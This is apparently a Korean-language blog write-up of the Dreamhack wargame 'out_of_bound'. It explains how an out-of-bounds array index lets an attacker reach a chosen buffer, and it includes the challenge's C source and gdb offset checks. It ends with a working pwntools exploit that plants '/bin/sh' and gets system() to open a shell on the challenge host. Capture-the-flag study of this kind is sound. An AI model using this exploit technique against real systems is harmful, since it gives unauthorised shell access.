TIL: Out of bound 〰️
Out of Bounds
Out of bounds 취약점을 이용해 임의의 address에 write or read할 수 있다. 이를 위해서는 target과 array의 offset을 알아내야 한다.
만약 target과 array가 같은 segment 상에 있다면 둘 사이의 offset은 항상 일정하므로 debugging을 통해 쉽게 알아낼 수 있지만, 같은 segment가 아니라면 다른 취약점을 이용해 둘 사이의 차이를 구한 뒤 이를 활용해야 한다.
gdb로 변수 address 확인하기
두 변수의 offset을 확인하기 위해 각 변수들의 address를 확인하려면 gdb를 이용하면 된다.
pwndbg> i var isAdmin
Non-debugging symbols:
0x0000000000201130 isAdmin
pwndbg> i var stu
Non-debugging symbols:
0x0000000000201040 stu
pwndbg> print 0x201130-0x201040
$1 = 240
Wargame: out_of_bound
문제의 소스 코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
Vulnerability scanning
Memory 구조 파악하기
oob 취약점을 이용하기 위해 gdb로 memory 구조를 파악한다.
같은 방법으로 name
의 주소도 확인하면 command
의 주소는 0x0804a060이고, name
의 주소는 0x0804a0ac임을 알 수 있다.
Exploit
command
는 char *
의 array이고, char *
의 size는 4 byte이다. 또한 command
의 주소에서 name
의 주소까지의 차이는 76 byte, 즉 19개의 char *
만큼의 차이이므로 command[19]
가 name
의 첫 4 byte에 해당함을 알 수 있다.
“/bin/sh”
를 system
의 argument로 넣으면 shell을 획득할 수 있으므로 name
에 "/bin/sh"
과 name
의 주소를 입력해 이 name
의 주소를 system
의 argument로 주도록 exploit한다.
from pwn import *
p = remote("host3.dreamhack.games", 16207)
p.recvuntil("Admin name: ")
payload = b"/bin/sh"
payload += b"\x00"
payload += p32(0x0804a0ac)
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline("21")
p.interactive()
"/bin/sh"
에 NULL byte를 덧붙여줘야 한다.command[19]
,command[20]
이"/bin/sh\x00"
에 해당하고, 그 뒤의 주소가command[21]
에 해당하므로 마지막에 21을 send해야 한다.
Leave a comment